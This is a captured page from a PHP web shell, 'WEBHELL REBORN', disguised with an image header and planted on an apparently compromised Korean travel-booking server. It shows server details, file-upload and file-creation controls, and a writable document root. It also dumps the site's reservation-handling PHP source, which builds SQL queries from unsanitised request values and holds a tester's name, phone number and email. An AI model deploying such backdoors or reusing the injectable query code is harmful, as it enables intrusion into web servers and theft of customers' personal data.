ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/process/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/process/setResCard.php
<?php
    include $_SERVER['DOCUMENT_ROOT'].'/include/base.php';
    include $_SERVER['DOCUMENT_ROOT'].'/process/process_common.php';

//    error_reporting( E_ALL );
//    ini_set( "display_errors", 1 );


    if(!isset($_SESSION['web_member'])){

        echo json_encode(
            array(
                'result' => false,
                'errCode' => '0001',
                'errMsg' => _e('로그인 해주세요.'),
            )
        );
        exit;

    }


//    if(strpos($_SERVER['HTTP_REFERER'], '/page/regReservation.html') !== false){


        /***
         *
         *
         * "jsGUid":"20",
         * "jsDUid":"91",
         * "jsDtid":"4",
         * "jsStartDay":"2023-10-27",
         * "jsAdultPrice":"7000",
         * "jsAdultCnt":"1",
         * "jsChildPrice":"5000",
         * "jsChildCnt":"1",
         * "jsTotalPrice":"12000",
         * "travelerName":["김태영","김태영"],
         * "travelerGender":["m","m"],
         * "travelerPhoneNum":["01021330111",""],
         * "travelerSns":["disney",""],
         * "travelerNation":["ko",""],
         * "travelerLang":["ko",""],
         * "travelerEmail":["tktraveldeveloper@icloud.com",""],
         * "travelerAdditional":["test",""]
         *
         */

//        $_POST["jsGUid"] = "20";
//        $_POST["jsDUid"] = "91";
//        $_POST["jsDtid"] = "4";
//        $_POST["jsStartDay"] = "2023-10-27";
//        $_POST["jsAdultPrice"] = "7000";
//        $_POST["jsAdultCnt"] = "1";
//        $_POST["jsChildPrice"] = "5000";
//        $_POST["jsChildCnt"] = "1";
//        $_POST["jsTotalPrice"] = "12000";
//        $_POST["travelerName"] = ["김태영","김태영"];
//        $_POST["travelerGender"] = ["m","m"];
//        $_POST["travelerPhoneNum"] = ["01021330111",""];
//        $_POST["travelerSns"] = ["disney",""];
//        $_POST["travelerNation"] = ["ko",""];
//        $_POST["travelerLang"] = ["ko",""];
//        $_POST["travelerEmail"] = ["tktraveldeveloper@icloud.com",""];
//        $_POST["travelerAdditional"] = ["test",""];
//


        //예약등록
        $tbName = "TB_RES_GOOD";

        $postData = array();

        $postData["g_uid"] = $_POST['jsGUid'];
        $postData["d_uid"] = $_POST['jsDUid'];
        $postData["dtid"] = $_POST['jsDtid'];
        $postData["startDay"] = $_POST['jsStartDay'];
        $postData["adultPrice"] = $_POST['jsAdultPrice'];
        $postData["adultCnt"] = $_POST['jsAdultCnt'];
        $postData["childPrice"] = $_POST['jsChildPrice'];
        $postData["childCnt"] = $_POST['jsChildCnt'];
        $postData["totalPrice"] = $_POST['jsTotalPrice'];

        $totalPrice = (int) $_POST['jsTotalPrice'];

        //데이터 검증
        if(resPriceChecker($postData)){
            $g_uid = $_POST['jsGUid'];
            $d_uid = $_POST['jsDUid'];

            // 상품정보
            $goodInfo = getGoodInfo($g_uid);

            // 예약번호 생성
            $res_no = auto_create_code($goodInfo['tab']);

            $ipAddress = $_SERVER['REMOTE_ADDR'];

            $sql = "SELECT * FROM date WHERE d_uid = {$d_uid}";
//            p($sql);
            $res = $db_connect->query($sql);
            $dateInfo = $res->fetch_array(MYSQLI_ASSOC);

//            p($dateInfo);
//            exit;

            //참여자 정보 입력
//            p($_POST);
//            exit;

            $adultCntTemp = (int) $_POST['jsAdultCnt'];
            $childCntTemp = (int) $_POST['jsChildCnt'];

            $mainTravelGeneration = array();

            for($i = 1; $i <= $adultCntTemp; $i++){
                array_push($mainTravelGeneration,'A');
            }

            for($i = 1; $i <= $childCntTemp; $i++){
                array_push($mainTravelGeneration,'C');
            }


//            p($mainTravelGeneration);
//            exit;

            $start_date = $_POST['jsStartDay'];

            for($i = 0; $i < count($_POST['travelerName']); $i++){

                $travelrName = $db_connect->escape_string($_POST['travelerName'][$i]);
                $travelerHp = $db_connect->escape_string($_POST['travelerPhoneNum'][$i]);
                $travelerGender = $db_connect->escape_string($_POST['travelerGender'][$i]);
                $snsId = $db_connect->escape_string($_POST['travelerSns'][$i]);
                $travelerNation = $db_connect->escape_string($_POST['travelerNation'][$i]);
                $travelerLang = $db_connect->escape_string($_POST['travelerLang'][$i]);

                $travelerEmail = $db_connect->escape_string($_POST['travelerEmail'][$i]);

                $travelRemarks = $db_connect->escape_string($_POST['travelerAdditional'][$i]);


                $insDt = date('Y-m-d H:i:s');

                $sql = "INSERT INTO TB_RES_GOOD_PERSON SET res_no = '{$res_no}', ";
                $sql .= " tab = '{$goodInfo['tab']}',";
                $sql .= " g_uid = '{$g_uid}',";
                $sql .= " g_title = '{$goodInfo['g_title']}',";
                $sql .= " ev_uid = '{$dateInfo['d_uid']}',";
                $sql .= " ev_title = '{$dateInfo['d_title']}',";
                $sql .= " ev_start = '{$start_date}',";
                $sql .= " ev_end = '{$start_date}',";
                $sql .= " generation = '{$mainTravelGeneration[$i]}',";
                $sql .= " gend = '{$travelerGender}',";
                $sql .= " sns_id = '{$snsId}',";
                $sql .= " nation = '{$travelerNation}',";
                $sql .= " lang = '{$travelerLang}',";
                $sql .= " ins_dt = '{$insDt}',";
                $sql .= " name_kor = '{$travelrName}',";
                $sql .= " email = '{$travelerEmail}',";
                $sql .= " hp = '{$travelerHp}',";
                $sql .= " remarks = '{$travelRemarks}'";

                $db_connect->query($sql);

            }

            //입금기록에 넣기

            $sql = "INSERT INTO TB_ACCOUNT_CUSTOMER SET ";
            $sql .= " res_no='{$res_no}'";
            $sql .= ",acc_dt=curdate()";
//                $sql .= ",acnt_cd='{$acnt_cd}'";
            $sql .= ",price_cost_plus='{$totalPrice}'";// 계약가(+)
            $sql .= ",input_will_plus='{$totalPrice}'";// 입금예정(+)
            $sql .= ",ins_dt=now()";
            //$sql .= ",ins_mb_id='{$TO_MB[mb_id]}'";
            $db_connect->query($sql);




            $adultCost = (int) $dateInfo['d_buy1'];
            $childCost = (int) $dateInfo['d_buy2'];

            $adultCnt = (int) $_POST['jsAdultCnt'];
            $childCnt = (int) $_POST['jsChildCnt'];

            //원가
            $buyTotal = ($adultCost * $adultCnt) + ($childCost * $childCnt);







            // 행사 정보
//            $data_date = date_list($g_uid , "none" , " and d_uid='{$d_uid}' ");
//            $row_date = date_list_replace($data_date[0]);






            // 실무용 바우처번호 생성
            $rsv_no = auto_create_voucher($goodInfo['tab']);


            $memberInfo = $_SESSION['web_member'];

            $lang = getNowLang();

            $adultCnt = $_POST['adultCnt'];

            $sql = "INSERT INTO {$tbName} SET ";
            $sql .= "res_no = '{$res_no}', ";
            $sql .= "rsv_no = '{$rsv_no}', ";
            $sql .= "g_uid = '{$goodInfo[g_uid]}', ";
            $sql .= "g_title = '{$goodInfo[g_title]}', ";
            $sql .= "tab = '{$goodInfo[tab]}', ";
            $sql .= "gdt = '{$goodInfo[gdt]}', ";

            $sql .= "gdt_pe_daesu = '{$adultCnt}', "; // 데이투어>단독투어 대(팀)수

            $sql .= "ev_uid = '{$dateInfo[d_uid]}', ";
            $sql .= "ev_title = '{$dateInfo[d_title]}', ";
            $sql .= "ev_start = '{$dateInfo[d_start]}', ";
            $sql .= "ev_end = '{$dateInfo[d_end]}', ";

            $sql .= "ev_code = '{$goodInfo[tour_code]}', ";

            // 공급가
            $sql .= "adult_buy = '{$dateInfo[d_buy1]}', ";
            $sql .= "child_buy = '{$dateInfo[d_buy2]}', ";
            $sql .= "baby_buy = '{$dateInfo[d_buy3]}', ";
            $sql .= "infant_buy = '{$dateInfo[d_buy4]}', ";

            // 판매가 (B2C)
            $sql .= "adult_price = '{$dateInfo[d_money1]}', ";
            $sql .= "child_price = '{$dateInfo[d_money2]}', ";
            $sql .= "baby_price = '{$dateInfo[d_money3]}', ";
            $sql .= "infant_price = '{$dateInfo[d_money4]}', ";

            $sql .= "adult_price_fr = '{$dateInfo[adult_price_fr]}', ";
            $sql .= "child_price_fr = '{$dateInfo[child_price_fr]}', ";
            $sql .= "baby_price_fr = '{$dateInfo[baby_price_fr]}', ";
            $sql .= "infant_price_fr = '{$dateInfo[infant_price_fr]}', ";

            $sql .= "sales_total = '{$totalPrice}', ";
            $sql .= "sales_total_fr = '{$totalPrice}', ";

            $sql .= "buy_total = '{$buyTotal}', "; //공급가 합계

//            if($cf[curunit]! = 'KRW') :
//                $sql .= "total_pay_usd = '{$total_pay_usd}', ";
//            endif;

            //  담당자(상품담당자)
            $sql .= "admin_id = '{$goodInfo[admin_id]}', ";
            $sql .= "admin_nm = '{$goodInfo[admin_nm]}', ";

            // 예약내역 출력용
            $sql .= "option_price = 0, ";
            $sql .= "option_price_fr = 0, ";

            $sql .= "tax_adult = '{$dateInfo[oil_money1]}', ";
            $sql .= "tax_child = '{$dateInfo[oil_money2]}', ";
            $sql .= "tax_baby = '{$dateInfo[oil_money3]}', ";
            $sql .= "tax_infant = '{$dateInfo[oil_money4]}', ";
            $sql .= "tax_adult_fr = '{$dateInfo[adult_tax_fr]}', ";
            $sql .= "tax_child_fr = '{$dateInfo[child_tax_fr]}', ";
            $sql .= "tax_baby_fr = '{$dateInfo[baby_tax_fr]}', ";
            $sql .= "tax_infant_fr = '{$dateInfo[infant_tax_fr]}', ";

            $sql .= "tot_adult = '{$r[tot_adult]}', ";
            $sql .= "tot_child = '{$r[tot_child]}', ";
            $sql .= "tot_baby = '{$r[tot_baby]}', ";
            $sql .= "tot_infant = '{$r[tot_infant]}', ";
            $sql .= "tot_adult_fr = '{$r[tot_adult_fr]}', ";
            $sql .= "tot_child_fr = '{$r[tot_child_fr]}', ";
            $sql .= "tot_baby_fr = '{$r[tot_baby_fr]}', ";
            $sql .= "tot_infant_fr = '{$r[tot_infant_fr]}', ";

            $sql .= "res_stat_cd = 'R', "; // 예약진행상태
//            $sql .= "order_state = 'A', "; // 예약상태
            $sql .= "order_state = 'E', "; // 예약상태


            // 패스티켓 > 연속사용교환여부, 주의사항, 환불안내 저장
            $sql .= "g_ready = '".str_replace("'","&#39;",$goodInfo[g_ready])."', ";
            $sql .= "g_special = '".str_replace("'","&#39;",$goodInfo[g_special])."', ";
            $sql .= "g_rule = '".str_replace("'","&#39;",$goodInfo[g_rule])."', ";
            $sql .= "google_map = '".str_replace("'","&#39;",$goodInfo[google_map])."', "; //[son]

            $sql .= "ins_ip = '{$ipAddress}', ";
            $sql .= "ins_route = 'B', "; // A관리자,B사용자
            $sql .= "ins_site = '', "; // 유입 경로

            // 환율정보 저장
            $sql .= "exchange_fg = '{$goodInfo[exchange_fg]}',";// 환율사용유무
//            $sql .= "ext_str = '{$ext_str}',"; // TB_EXCHANGE > 화폐한글명||화폐영문||화폐기호||화폐교환 원(KRW)||1000원단위,100원단위||올림(A)반올림(R)버림(L)

            $sql .= "mb_id = '{$memberInfo[mb_id]}', ";

            $res_cust_nm = $_POST['travelerName'][0];
            $res_cust_hp = $_POST['travelerPhoneNum'][0];

//            $res_cust_hp = $_POST['main_traveler_gender'][0];

            $res_cust_tel = $_POST['travelerPhoneNum'][0];
            $res_cust_email = $_POST['travelerEmail'][0];
            $res_sns_id = $_POST['travelerSns'][0];
            $res_cust_memo = $_POST['travelerAdditional'][0];
            $res_cust_nat_cd = $_POST['travelerNation'][0];

            $sql .= "res_cust_nm = '{$res_cust_nm}', ";
            $sql .= "res_cust_hp = '{$res_cust_hp}', ";
            $sql .= "res_cust_tel = '{$res_cust_tel}', ";
            $sql .= "res_cust_email = '{$res_cust_email}', ";

            $sql .= "res_cust_memo = '{$res_cust_memo}', ";
            $sql .= "res_sns_id = '{$res_sns_id}', ";

            if($lang == 'ko') {
                $sql .= "res_cust_nat_cd = '한국', ";	//국적
            } else {
                $sql .= "res_cust_nat_cd = '{$res_cust_nat_cd}', ";	//국적
            }

            $sql .= "agent_id = 'travelbus', ";
            $sql .= "agent_corp_nm = '여행버스', ";

            //  공급처
//            $sql .= "producer_id = '{$goodInfo[producer_id]}', ";
//            $sql .= "producer_corp_nm = '{$goodInfo[producer_corp_nm]}', ";

            //외국어종류
            $sql .= "lang = '{$lang}', ";
//            $sql .= "curunit = '{$cf[curunit]}', ";
//            $sql .= "hwan = '{$hwan}', "; //[son]

            $sql .= "ins_dt = now() "; //[son]

//            $sql .= "b2b_sns_type = '{$b2b_sns_type}', "; //[son]
//            $sql .= "b2b_sns_id = '{$b2b_sns_id}' "; //[son]

            if($db_connect->query($sql)){

                echo json_encode(
                    array(
                        'result' => true,
                        'res_no' => $res_no,
                        'rsv_no' => $rsv_no,
                    )
                );
                exit;

            }

        }else{
            echo json_encode(
                array(
                    'result' => false,
                    'errCode' => '0002',
                    'errMsg' => _e("예약데이터가 유효하지 않습니다."),
                )
            );
            exit;
        }

        /*echo json_encode(
            array(
                'result' => true,
                'postData' => $_POST,
            )
        );*/

        exit;

//    }

    /*echo json_encode(
        array(
            'result' => false,
            'errMsg' => 'invalid URL',
            'HTTP_REFERER' => $_SERVER['HTTP_REFERER'],
        )
    );*/




?>

Anon7 - 2021